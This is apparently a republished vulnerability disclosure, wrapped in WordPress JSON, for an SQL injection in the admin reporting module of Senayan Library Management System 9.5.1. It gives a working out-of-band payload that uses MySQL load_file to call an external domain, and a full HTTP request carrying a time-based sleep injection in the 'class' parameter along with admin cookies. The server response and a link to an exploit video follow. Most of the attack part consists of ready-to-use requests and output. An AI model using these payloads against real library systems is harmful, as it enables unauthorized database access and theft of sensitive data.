## Title: Senayan Library Management System v9.5.1 a.k.a SLIMS 9 SQLi
\n## Author: nu11secur1ty
\n## Date: 12.06.2022
\n## Vendor: https:\/\/slims.web.id\/web\/
\n## Software: https:\/\/slims.web.id\/web\/news\/rilis-9.5.1\/
\n## Reference: https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/slims.web.id\/SLIMS-9.5.1<\/p>\n
## Description:
\nThe manual insertion `point 4` appears to be vulnerable to SQL
\ninjection attacks.
\nThe payload ‘+(select
\nload_file(‘\\\\\\\\mmceb8f9w8n0s3mutza4ttmxzo5it8hzknbdy6mv.again.com\\\\ejf’))+’
\nwas submitted in the manual insertion `point 4` testing.
\nThis payload injects a SQL sub-query that calls MySQL’s load_file
\nfunction with a UNC file path that references a URL on an external
\ndomain.
\nThe application interacted with that domain, indicating that the
\ninjected SQL query was executed.
\nThe attacker can execute a very dangerous `subquery` to view very
\nsensitive information.<\/p>\n
## STATUS: HIGH Vulnerability<\/p>\n
[+] Payload:<\/p>\n
“`MySQL
\nGET \/slims9_bulian-9.5.1\/admin\/modules\/reporting\/customs\/loan_by_class.php?reportView=true&year=2002&class=bbbb%27%2b(select*from(select(sleep(5)))a)%2b%27&membershipType=a&collType=aaaa
\nHTTP\/1.1
\nHost: pwnedhost.com
\nUpgrade-Insecure-Requests: 1
\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)
\nAppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.5304.107
\nSafari\/537.36
\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9
\nAccept-Encoding: gzip, deflate
\nAccept-Language: en-US,en;q=0.9
\nCookie: SenayanAdmin=tc5upjgvv2j3mid2ur5tdmmpje; admin_logged_in=1;
\nSenayanMember=schm4nbtgbb5i1tbeonr6cav3u
\nConnection: close<\/p>\n
“`
\n[+] Response:<\/p>\n
“`MySQL
\nHTTP\/1.1 200 OK
\nDate: Tue, 06 Dec 2022 13:51:38 GMT
\nServer: Apache\/2.4.54 (Win64) OpenSSL\/1.1.1p PHP\/7.4.30
\nX-Frame-Options: SAMEORIGIN
\nX-Powered-By: PHP\/7.4.30
\nExpires: Thu, 19 Nov 1981 08:52:00 GMT
\nCache-Control: no-store, no-cache, must-revalidate
\nPragma: no-cache
\nX-XSS-Protection: 1; mode=block
\nContent-Length: 4120
\nConnection: close
\nContent-Type: text\/html; charset=UTF-8<\/p>\n
<!doctype html>
\n<html>
\n<head><title>Loan Report by Class Report<\/title>
\n<meta http-equiv=”Content-Type” content=”text\/html; charset=utf-8″\/>
\n<meta http-equiv=”Pragma” content=”no-cache”\/>
\n<meta http-equiv=”Cache-Control” content=”no-store, no-cache,
\nmust-revalidate, post-check=0, pre-check=0″\/>
\n<meta http-equiv=”Expires” content=”Sat, 26 Jul 1997 05:00:00 GMT”\/>
\n<link rel=”stylesheet” type=”text\/css”
\nhref=”\/slims9_bulian-9.5.1\/css\/bootstrap.min.css”\/>
\n<link rel=”stylesheet” type=”text\/css”
\nhref=”\/slims9_bulian-9.5.1\/admin\/admin_template\/default\/style.css?31085233″\/>
\n<script type=”text\/javascript”
\nsrc=”\/slims9_bulian-9.5.1\/js\/jquery.js”><\/script>
\n<script type=”text\/javascript”
\nsrc=”\/slims9_bulian-9.5.1\/js\/gui.js”><\/script>
\n<\/head>
\n<body>
\n<div id=”pageContent”>
\n<div class=”mb-2″>Loan Recap By Class
\n<strong>bbbb’+(select*from(select(sleep(5)))a)+'<\/strong> for year
\n<strong>2002<\/strong> <a class=”s-btn btn btn-default printReport”
\nonclick=”window.print()” href=”#”>Print Current Page<\/a><a
\nhref=”..\/xlsoutput.php” class=”s-btn btn btn-default”
\ntarget=”_BLANK”>Export to spreadsheet format<\/a>
\n<a class=”s-btn btn btn-info notAJAX openPopUp”
\nhref=”\/slims9_bulian-9.5.1\/admin\/modules\/reporting\/pop_chart.php”
\nwidth=”700″ height=”530″ title=”Loan Recap By Class”>Show in
\nchart\/plot<\/a><\/div>
\n<table class=”s-table table table-sm table-bordered”><tr><th
\nclass=”dataListHeaderPrinted”>Classification<\/th><th
\nclass=”dataListHeaderPrinted”>Jan<\/th><th
\nclass=”dataListHeaderPrinted”>Feb<\/th><th
\nclass=”dataListHeaderPrinted”>Mar<\/th><th
\nclass=”dataListHeaderPrinted”>Apr<\/th><th
\nclass=”dataListHeaderPrinted”>May<\/th><th
\nclass=”dataListHeaderPrinted”>Jun<\/th><th
\nclass=”dataListHeaderPrinted”>Jul<\/th><th
\nclass=”dataListHeaderPrinted”>Aug<\/th><th
\nclass=”dataListHeaderPrinted”>Sep<\/th><th
\nclass=”dataListHeaderPrinted”>Oct<\/th><th
\nclass=”dataListHeaderPrinted”>Nov<\/th><th
\nclass=”dataListHeaderPrinted”>Dec<\/th><\/tr><tr><td><strong>bbbb’+(select*from(select(sleep(5)))a)+’00<\/strong><\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><tr><td>bbbb’+(select*from(select(sleep(5)))a)+’00<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><tr><td>bbbb’+(select*from(select(sleep(5)))a)+’10<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><tr><td>bbbb’+(select*from(select(sleep(5)))a)+’20<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><tr><td>bbbb’+(select*from(select(sleep(5)))a)+’30<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><tr><td>bbbb’+(select*from(select(sleep(5)))a)+’40<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><tr><td>bbbb’+(select*from(select(sleep(5)))a)+’50<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><tr><td>bbbb’+(select*from(select(sleep(5)))a)+’60<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><tr><td>bbbb’+(select*from(select(sleep(5)))a)+’70<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><tr><td>bbbb’+(select*from(select(sleep(5)))a)+’80<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><tr><td>bbbb’+(select*from(select(sleep(5)))a)+’90<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><td>0<\/td><\/table><\/div>
\n<div class=”loader”><\/div>
\n<!– block if we inside iframe –>
\n<script type=”text\/javascript”>
\n\/\/ if we are inside iframe
\njQuery(document).ready(function () {
\n});
\n<\/script>
\n<\/body>
\n<\/html>
\n“`
\n## Reproduce:
\n[href](https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/slims.web.id\/SLIMS-9.5.1)<\/p>\n
## Proof and Exploit:
\n[href](https:\/\/streamable.com\/gthu91)<\/p>\n
## Time spent
\n`04:00:00`<\/p>\n","protected":false},"excerpt":{"rendered":"
## Title: Senayan Library Management System v9.5.1 a.k.a SLIMS 9 SQLi ## Author: nu11secur1ty ## Date: 12.06.2022 ## Vendor: https:\/\/slims.web.id\/web\/ ## Software: https:\/\/slims.web.id\/web\/news\/rilis-9.5.1\/ ## Reference: https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/slims.web.id\/SLIMS-9.5.1 ## Description: The manual insertion `point 4` appears to be vulnerable to SQL injection attacks. The payload ‘+(select load_file(‘\\\\\\\\mmceb8f9w8n0s3mutza4ttmxzo5it8hzknbdy6mv.again.com\\\\ejf’))+’ was submitted in the manual insertion `point 4` testing. This …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-34495","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34495","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=34495"}],"version-history":[{"count":2,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34495\/revisions"}],"predecessor-version":[{"id":34733,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34495\/revisions\/34733"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=34495"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=34495"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=34495"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}